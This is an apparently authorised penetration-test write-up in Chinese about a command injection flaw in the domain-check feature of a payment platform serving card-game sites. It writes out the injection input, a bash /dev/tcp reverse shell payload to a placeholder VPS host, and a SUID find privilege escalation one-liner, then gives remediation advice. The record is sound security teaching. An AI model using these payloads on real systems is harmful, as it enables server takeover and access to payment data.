【渗透记录】某第三方支付对接平台的命令注入漏洞

一、故事背景

这次对某第三方支付对接平台进行渗透测试。目标系统为多个棋牌平台提供代收代付的支付通道系统，接口与资金流水密集。客户反映站点有一个"网站检测"功能，用于检测用户输入的域名是否正常。我在拿到授权后，重点测试了这个功能的命令注入风险。命令注入的典型场景是：应用把用户输入拼接到系统命令中执行，如果过滤不严，攻击者就能注入额外的命令。

二、信息收集

信息收集阶段，我定位到了"网站检测"功能。用户输入一个域名，系统会执行 ping 或 nslookup 命令检测连通性。我先正常输入一个域名，观察返回结果，确认系统确实在执行系统命令。然后我开始测试命令注入：输入 127.0.0.1; whoami，观察返回结果。

三、漏洞发现

测试结果证实了命令注入的存在。当我输入 127.0.0.1; whoami 时，返回结果中除了 ping 的输出外，还包含了服务器用户名 www-data，说明分号后的 whoami 命令被成功执行了。我进一步测试了其他命令分隔符，如 &&、||、|，发现系统对这些分隔符都没有过滤。

四、漏洞利用

确认命令注入后，我构造反弹 shell 的 payload：127.0.0.1; bash -i >& /dev/tcp/vps_ip/4444 0>&1。在 VPS 上用 nc 监听 4444 端口，然后提交这个 payload。几秒后，VPS 上收到了反弹连接，成功获得了服务器的 shell 权限。

五、权限获取

获得 shell 后，我进行提权。通过 SUID 文件枚举，发现 /usr/bin/find 具有 SUID 权限，可以利用 find 提权：find / -exec /bin/sh -p \; -quit。成功提升到 root 权限。我整理了完整的渗透过程，形成了报告，并在测试结束后清理了反弹 shell 和临时文件。

六、复盘总结

这次渗透的根因是命令拼接未过滤。修复建议：第一，禁止使用 shell 执行用户可控的命令，改用参数化调用（如 Python 的 subprocess 列表参数）；第二，如果必须执行命令，使用白名单校验输入，只允许域名格式的字符；第三，对系统命令的输入做严格过滤，拒绝所有 shell 元字符；第四，服务器上收紧 SUID 程序，减少提权面。

本文为授权安全评估实录，目标均已脱敏（IP 为文档保留段），仅用于安全研究与学习交流。